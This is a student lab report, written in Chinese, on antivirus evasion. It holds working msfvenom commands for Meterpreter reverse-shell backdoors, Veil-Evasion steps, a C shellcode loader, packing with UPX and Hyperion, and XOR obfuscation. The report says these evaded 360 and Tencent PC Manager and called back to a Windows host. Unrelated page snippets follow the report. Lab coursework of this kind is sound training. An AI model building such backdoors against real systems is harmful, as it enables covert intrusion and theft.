20165230 Exp3 免杀原理与实践
1.实验内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 2.通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) - 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
2.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是做什么?
- 通过伪装,加解密,对shellcode进行变形,利用veil进行重写重编译等手段防止生成的后门被杀软检测出来
(3)免杀的基本方法有哪些?
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳,使其无法进行逆向,比对病毒库中的特征码
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写重编译(veil-evasion)
- 半手工
- 如果你手里只有EXE
改变行为
- 通讯方式
- 例如之前注入所用到的反弹端口连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
3.实验内容
任务一:正确使用免杀工具或技巧
使用msf编码器,msfvenom生成如jar之类的其他文件
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里。通过编码后,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
- 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_backdoor.exe

放去virscan扫描,结果有点惨,有29个扫描了出来。

编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_back2.exe

再放去扫描,少了1个,但感觉没有多大效果。

生成.jar文件夹
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor_java.jar

msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor.php

使用veil-evasion
- 居然安装了一天也没有安装出来,老是卡在展开对象那里,去网上搜也没有找到解决方案,最后实在没办法去拷贝了学长的虚拟机 TAT
- 下面是学长博客里的正常安装方法:
在Kali终端中使用
sudo apt-get install veil安装,若遇到问题则用sudo apt-get update和sudo apt-get upgrade这两个命令更新一下软件包即可:
之后用veil命令打开Veil,输入y继续安装直至完成
在终端中使用
veil命令进入应用,输入use evasion进入veil-evasion
输入use python/meterpreter/rev_tcp.py,

然后设置回连IP(此处IP是kali)和端口,输入
generate生成文件,接着输入你想要payload的名字:veil_c_5230:

然后生成了可执行文件。

看看Viruscan的扫描结果怎么样,咦还不错,只有15个了!

自己利用shellcode编程
Linux平台交叉编译Windows应用
使用命令
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.19.129 LPORT=5230 -f c生成一个c语言格式的shellcode数组用
vim shell1.c命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数
int main()
{
int (*func)() = (int(*)())buf;
func();
}

- 再用
i686-w64-mingw32-g++ shell1.c -o shell1.exe命令生成可执行文件 - 将后门shell1.exe传到Windows 7并尝试回连:
1.在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > shell1.exe注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序
2.在Windows下执行ncat.exe -l 5230 > shell1.exe,这样被控主机就进入了接收文件模式
3.在kali中通过nc 192.168.19.128 5230 < shell1.exe将生成的后门程序传送到Windows主机上.注意这里的IP为被控主机IP,即WindowsIP
回连先ping通,然后再做是没有问题的

还是一样用Viruscan扫描一下

发现并没有改进啊!
用
-e指定生成shellcode的编码方式,生成新的shellcodemsfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.19.129 -f c还是不行!!

接下来我换了N种方式变换了主函数,重新生成了shellcode,不断用ncat在两台虚拟机之间传输exe,依然没用,我的内心是崩溃的

- 再试一下老师提供的方法!
- 。。。被删除了

加壳处理
upx压缩壳
upx是一种压缩程序,可以实现加壳的功能,Kali下输入命令
upx shellupx.exe -o shellupx.upxed.exe:

再去扫一遍,emmmmm,这个壳好像也没用

Hyperion加密壳
进入目录/usr/share/windows-binaries/hyperion/中;
输入命令
wine hyperion.exe -v shell5.upxed.exe shell5.upxed.Hyperion.exe进行加壳:

再去扫一遍,咦,稍微好了一点点点,不过还是不要加壳了吧

任务二:通过组合应用各种技术实现恶意代码免杀
对shellcode进行免杀变形
- 思路是在上一步里msfvenom生成shellcode的基础上加上了对每一位进行加2运算,并将shellcode与0x5f相异或,使用的codeblocks编译
在经历了N次失败后,已经快要没有信心了,后来我之前相同的代码在主机的Codeblocks编译生成exe,再放去viruscan里扫描 居然成功了!也太神奇了吧

也没有被杀软杀!360和腾讯管家都开了

再回连一下,OK!!

veil+加壳
- 将之前的veil生成的veil_5230.exe,拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入目录/usr/share/windows-binaries/hyperion/中
- 输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe进行加壳
- 最后放到viruscan里,发现加壳真的很鸡肋。。。最开始veil生成的exe扫描出来结果是15,这样的方式居然是21!

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 实验环境:被控机是Win0实体机,装有腾讯电脑管家(12.14.19590.218)
- 攻击成功,可以查看她的文件夹

4.实践总结与体会
- 这次实验花了N多天时间,才最终完成,整个过程确实煎熬,先是配置veil不成功,虚拟机崩了两次,再是不论怎样组合shellcode扫描的结果都不变,还有在实验过程中保存在桌面的实验截图突然不见了,被系统删掉了,又只有重新截图,在期间看了很多博客,确是收获了不少。对免杀技术也有了进一步的掌握,让我对病毒的认识有了进一步的提升,同时深刻看出了当今杀毒软件的脆弱以及各杀毒软件之间水平的差异,所以,谨慎小心对于我们这个行业的学生来说是非常重要并且安全威胁是近在眼前的!
5.离实战还缺些什么技术或步骤?
- 如何隐藏后门,让别人不经意触发后门实现控制,
- 如何让后门自启动
20165230 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- redis分页摘抄
Redis 笔记与总结8 PHP + Redis 信息管理系统(分页+好友关注) 分页 要对列表页进行分页,需要知道: ①用户总数 $count ② 页大小 $pageSize:用户自定义 ③ 当前页 ...
- Java 前后端List传值
js代码 function click(){ var arrays = new Array(); for (var i = 0; i < arr.length; i++) { arrays.pu ...
- [LeetCode] 9. 回文数
题目链接:https://leetcode-cn.com/problems/palindrome-number/ 题目描述: 判断一个整数是否是回文数.回文数是指正序(从左向右)和倒序(从右向左)读都 ...
- printf 函数原型
typedef char *va_list; #define _AUPBND (sizeof (acpi_native_int) - 1) #define _ADNBND (sizeof (acpi_ ...
- gulp 自动ftp至服务器时,处理开发 测试服务器地址问题
var gulp=require('gulp'), babel = require('gulp-babel'), gulpSequence = require('gulp-sequence'), ht ...
- JShell脚本工具
JShell脚本工具是JDK9的新特性 什么时候会用到 JShell 工具呢,当我们编写的代码非常少的时候,而又不愿意编写类,main方法,也不愿意去编译和运行,这个时候可以使用JShell工具.启动 ...
- VS2010安装MVC4记录
想学MVC4,但自己电脑上是VS2010,所以在网上查询怎样安装MVC4,总结下给大家. VS2010默认安装的是MVC2,安装MVC4必须先装 SP1,然后安装MVC4. VS2010 SP1 (1 ...
- java中内存分配
java程序运行时内存分配详解 一. 基本概念 每运行一个java程序会产生一个java进程,每个java进程可能包含一个或者多个线程,每一个Java进程对应唯一一个JVM实例,每一个JVM实例唯一 ...
- 简单实现计算机上多个jdk环境切换
实现多个jdk环境切换,大致有两种方式 安装两个jdk,并配置相应的环境变量,在java的控制面板中修改设置 非主要的jdk仅仅是用来测试,并不常用,故只要让ide配置对应的jdk位置就可以了,属于懒 ...
- SUCTF 2016 : dMd
这个题可以说是比较坑了(还不是我很弱...) Linux跑一下: 要输密码 ida打开看看: int __cdecl main(int argc, const char **argv, const c ...